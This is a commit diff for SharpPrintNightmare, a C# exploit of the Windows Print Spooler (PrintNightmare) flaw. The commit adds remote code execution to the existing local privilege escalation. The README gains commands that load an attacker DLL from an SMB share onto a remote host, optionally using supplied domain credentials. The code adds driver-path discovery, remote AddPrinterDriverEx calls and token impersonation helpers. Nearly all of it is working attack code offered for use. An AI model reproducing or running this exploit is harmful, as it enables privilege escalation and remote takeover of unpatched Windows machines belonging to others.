c# remote version

Signed-off-by: cube0x0 <vidfelt@protonmail.com>

SharpPrintNightmare/README.md

@@ -3,7 +3,16 @@
 ### Usage
 
 ```
+#LPE
 C:\SharpPrintNightmare.exe C:\addCube.dll
+
+#RCE using existing context
+SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'
+
+#RCE using runas /netonly
+SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll'  'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' hackit.local domain_user Pass123
 ```
 
+![](../Images/poc4.png)
+
 ![](../Images/poc3.png)

SharpPrintNightmare/SharpPrintNightmare/Program.cs

@@ -2,6 +2,7 @@
 using System.ComponentModel;
 using System.IO;
 using System.Runtime.InteropServices;
+using Tools;
 
 namespace SharpPrintNightmare
 {
@@ -45,30 +46,81 @@ namespace SharpPrintNightmare
         static void Main(string[] args)
         {
             string dllpath;
+            string pDriverPath = "";
+            string path = null;
+            //network credentials wont be used for LPE
+            string domain = "NeverGonnaGiveYouUp";
+            string user = "NeverGonnaLetYouDown";
+            string password = "NeverGonnaRunAroundAndDesertYou";
+
             if (args == null || args.Length == 0)
             {
-                Console.WriteLine("Need an argument containing the dll path");
-                Console.WriteLine(".\\SharpPrintNightmare.exe C:\\addCube.dll");
+                Console.WriteLine("-Locally");
+                Console.WriteLine(" .\\SharpPrintNightmare.exe C:\\addCube.dll");
+                Console.WriteLine(" .\\SharpPrintNightmare.exe 'C:\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL'");
+                Console.WriteLine("-Remote using current context");
+                Console.WriteLine(" .\\SharpPrintNightmare.exe '\\\\192.168.1.215\\smb\\addCube.dll'  'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL' '\\\\192.168.1.20'");
+                Console.WriteLine("-Remote using runas");
+                Console.WriteLine(" .\\SharpPrintNightmare.exe '\\\\192.168.1.215\\smb\\addCube.dll'  'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL' '\\\\192.168.1.20' hackit.local domain_user Pass123");
                 Environment.Exit(0);
             }
             dllpath = args[0];
             
-            Console.WriteLine("[*] Try 1...");
-            addPrinter(dllpath);
-            Console.WriteLine("[*] Try 2...");
-            addPrinter(dllpath);
-            Console.WriteLine("[*] Try 3...");
-            addPrinter(dllpath);
+            if(args.Length > 1)
+            {
+                pDriverPath = args[1];
+            }
+            else
+            {
+                DRIVER_INFO_2[] drivers = getDrivers();
+                foreach (DRIVER_INFO_2 driver in drivers)
+                {
+                    //Console.WriteLine(driver.pDriverPath); //debug
+                    if (driver.pDriverPath.ToLower().Contains("filerepository"))
+                    {
+                        pDriverPath = driver.pDriverPath;
+                        break;
+                    }
+                }
+                //lucky shot
+                if (pDriverPath == "")
+                {
+                    pDriverPath = drivers[0].pDriverPath;
+                }
+                pDriverPath = Directory.GetParent(pDriverPath).FullName + "\\UNIDRV.DLL";
+            }
+            if (args.Length > 2)
+            {
+                path = args[2];
+            }
+            if (args.Length > 3)
+            {
+                domain = args[3];
+                user = args[4];
+                password = args[5];
+            }
+            
+            //runas /netonly
+            using (new Impersonator.Impersonation(domain, user, password))
+            {
+                Console.WriteLine("[*] Try 1...");
+                addPrinter(dllpath, pDriverPath, path);
+                Console.WriteLine("[*] Try 2...");
+                addPrinter(dllpath, pDriverPath, path);
+                Console.WriteLine("[*] Try 3...");
+                addPrinter(dllpath, pDriverPath, path);
+            }
         }
 
-        static void addPrinter(string dllpath)
+        static void addPrinter(string dllpath, string pDriverPath, string path = null)
         {
-            DRIVER_INFO_2[] drivers = getDrivers();
-            string pDriverPath = Directory.GetParent(drivers[0].pDriverPath).FullName + "\\UNIDRV.DLL";
-            Console.WriteLine($"[*] pDriverPath Found {pDriverPath}");
+
+            //pDriverPath = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL"; // 2019 debug
+            //pDriverPath = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_addb31f9bff9e936\\Amd64\\UNIDRV.DLL"; // 2016 debug
+            Console.WriteLine($"[*] pDriverPath {pDriverPath}");
             Console.WriteLine($"[*] Executing {dllpath}");
 
-            //DRIVER_INFO_2 Level2 = drivers[0];
+            //DRIVER_INFO_2 Level2 = drivers[0]; // debug
             DRIVER_INFO_2 Level2 = new DRIVER_INFO_2();
             Level2.cVersion = 3;
             Level2.pConfigFile = "C:\\Windows\\System32\\kernelbase.dll";
@@ -85,7 +137,7 @@ namespace SharpPrintNightmare
             Marshal.StructureToPtr(Level2, pnt, false);
 
             //call AddPrinterDriverEx
-            AddPrinterDriverEx(null, 2, pnt, flags);
+            AddPrinterDriverEx(path, 2, pnt, flags);
             Console.WriteLine("[*] Stage 0: " + Marshal.GetLastWin32Error());
             Marshal.FreeHGlobal(pnt);
 
@@ -98,10 +150,10 @@ namespace SharpPrintNightmare
                 Marshal.StructureToPtr(Level2, pnt2, false);
 
                 //call AddPrinterDriverEx
-                AddPrinterDriverEx(null, 2, pnt2, flags);
+                AddPrinterDriverEx(path, 2, pnt2, flags);
                 int errorcode = Marshal.GetLastWin32Error();
                 Marshal.FreeHGlobal(pnt2);
-                if(errorcode == 0)
+                if (errorcode == 0)
                 {
                     Console.WriteLine($"[*] Stage {i}: " + errorcode);
                     Console.WriteLine($"[+] Exploit Completed");
@@ -110,11 +162,13 @@ namespace SharpPrintNightmare
             }
         }
 
-        static DRIVER_INFO_2[] getDrivers()
+        static DRIVER_INFO_2[] getDrivers(string path = null)
         {
             uint cbNeeded = 0;
             uint cReturned = 0;
-            if (EnumPrinterDrivers(null, null, 2, IntPtr.Zero, 0, ref cbNeeded, ref cReturned))
+            //path = "\\\\192.168.1.20";
+            
+            if (EnumPrinterDrivers(path, "Windows x64", 2, IntPtr.Zero, 0, ref cbNeeded, ref cReturned))
             {
                 //succeeds, but shouldn't, because buffer is zero (too small)!
                 throw new Exception("EnumPrinters should fail!");
@@ -128,7 +182,7 @@ namespace SharpPrintNightmare
             }
 
             IntPtr pAddr = Marshal.AllocHGlobal((int)cbNeeded);
-            if (EnumPrinterDrivers(null, null, 2, pAddr, cbNeeded, ref cbNeeded, ref cReturned))
+            if (EnumPrinterDrivers(path, "Windows x64", 2, pAddr, cbNeeded, ref cbNeeded, ref cReturned))
             {
                 DRIVER_INFO_2[] printerInfo2 = new DRIVER_INFO_2[cReturned];
                 long offset;

SharpPrintNightmare/SharpPrintNightmare/SharpPrintNightmare.csproj

@@ -44,6 +44,7 @@
   <ItemGroup>
     <Compile Include="Program.cs" />
     <Compile Include="Properties\AssemblyInfo.cs" />
+    <Compile Include="Tools.cs" />
   </ItemGroup>
   <ItemGroup>
     <None Include="App.config" />

SharpPrintNightmare/SharpPrintNightmare/Tools.cs

@@ -0,0 +1,140 @@
+using Microsoft.Win32.SafeHandles;
+using System;
+using System.ComponentModel;
+using System.Runtime.ConstrainedExecution;
+using System.Runtime.InteropServices;
+using System.Security;
+using System.Security.Permissions;
+using System.Security.Principal;
+
+
+namespace Tools
+{
+    public class Impersonator
+    {
+        //Reference https://stackoverflow.com/questions/22544903/impersonate-for-entire-application-lifecycle
+
+        [PermissionSet(SecurityAction.Demand, Name = "FullTrust")]
+        public class Impersonation : IDisposable
+        {
+            private readonly SafeTokenHandle _handle;
+            private readonly WindowsImpersonationContext _context;
+
+            private const int LOGON32_LOGON_NEW_CREDENTIALS = 9;
+
+            public Impersonation(string domain, string username, string password)
+            {
+                var ok = LogonUser(username, domain, password,
+                               LOGON32_LOGON_NEW_CREDENTIALS, 0, out this._handle);
+                if (!ok)
+                {
+                    var errorCode = Marshal.GetLastWin32Error();
+                    throw new ApplicationException(string.Format("Could not impersonate the elevated user.  LogonUser returned error code {0}.", errorCode));
+                }
+
+                this._context = WindowsIdentity.Impersonate(this._handle.DangerousGetHandle());
+            }
+
+            public void Dispose()
+            {
+                this._context.Dispose();
+                this._handle.Dispose();
+            }
+
+            [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
+            private static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken);
+
+            public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid
+            {
+                private SafeTokenHandle()
+                    : base(true) { }
+
+                [DllImport("kernel32.dll")]
+                [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)]
+                [SuppressUnmanagedCodeSecurity]
+                [return: MarshalAs(UnmanagedType.Bool)]
+                private static extern bool CloseHandle(IntPtr handle);
+
+                protected override bool ReleaseHandle()
+                {
+                    return CloseHandle(handle);
+                }
+            }
+        }
+    }
+
+    public class AToken
+    {
+        // Based on SharpSploit MakeToken
+        [DllImport("kernel32.dll", SetLastError = true)]
+        private static extern bool CloseHandle(IntPtr hObject);
+
+        [DllImport("Advapi32.dll", SetLastError = true)]
+        private static extern bool RevertToSelf();
+
+        [DllImport("advapi32.dll", SetLastError = true)]
+        public static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
+
+        [DllImport("advapi32.dll", SetLastError = true)]
+        public static extern bool LogonUserA(
+            string lpszUsername,
+            string lpszDomain,
+            string lpszPassword,
+            LOGON_TYPE dwLogonType,
+            LOGON_PROVIDER dwLogonProvider,
+            ref IntPtr phToken);
+
+        [Flags]
+        public enum LOGON_TYPE : uint
+        {
+            LOGON32_LOGON_INTERACTIVE = 2, //will not work for sacrify, still active
+            LOGON32_LOGON_NETWORK, //will not work for sacrify, still active
+            LOGON32_LOGON_BATCH, //will not work for sacrify, still active
+            LOGON32_LOGON_SERVICE, //will not work for sacrify, still active
+            LOGON32_LOGON_UNLOCK = 7, //will not work for sacrify, still active
+            LOGON32_LOGON_NETWORK_CLEARTEXT, //will not work for sacrify, still active
+            LOGON32_LOGON_NEW_CREDENTIALS
+        }
+
+        [Flags]
+        public enum LOGON_PROVIDER : uint
+        {
+            LOGON32_PROVIDER_DEFAULT,
+            LOGON32_PROVIDER_WINNT35,
+            LOGON32_PROVIDER_WINNT40,
+            LOGON32_PROVIDER_WINNT50
+        }
+
+        public static bool MakeToken(string Username, string Domain, string Password, LOGON_TYPE LogonType = LOGON_TYPE.LOGON32_LOGON_NEW_CREDENTIALS)
+        {
+            IntPtr hProcessToken = IntPtr.Zero;
+            if (!LogonUserA(
+                Username, Domain, Password,
+                LogonType,
+                LOGON_PROVIDER.LOGON32_PROVIDER_WINNT50,
+                ref hProcessToken))
+            {
+                Console.Error.WriteLine("LogonUserA() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
+                return false;
+            }
+
+            if (!ImpersonateLoggedOnUser(hProcessToken))
+            {
+                Console.Error.WriteLine("ImpersonateLoggedOnUser() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
+                CloseHandle(hProcessToken);
+                return false;
+            }
+            return true;
+        }
+
+        public static bool RevertFromToken()
+        {
+            if (!RevertToSelf())
+            {
+                Console.Error.WriteLine("RevertToSelf() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
+                return false;
+            }
+            return true;
+        }
+    }
+}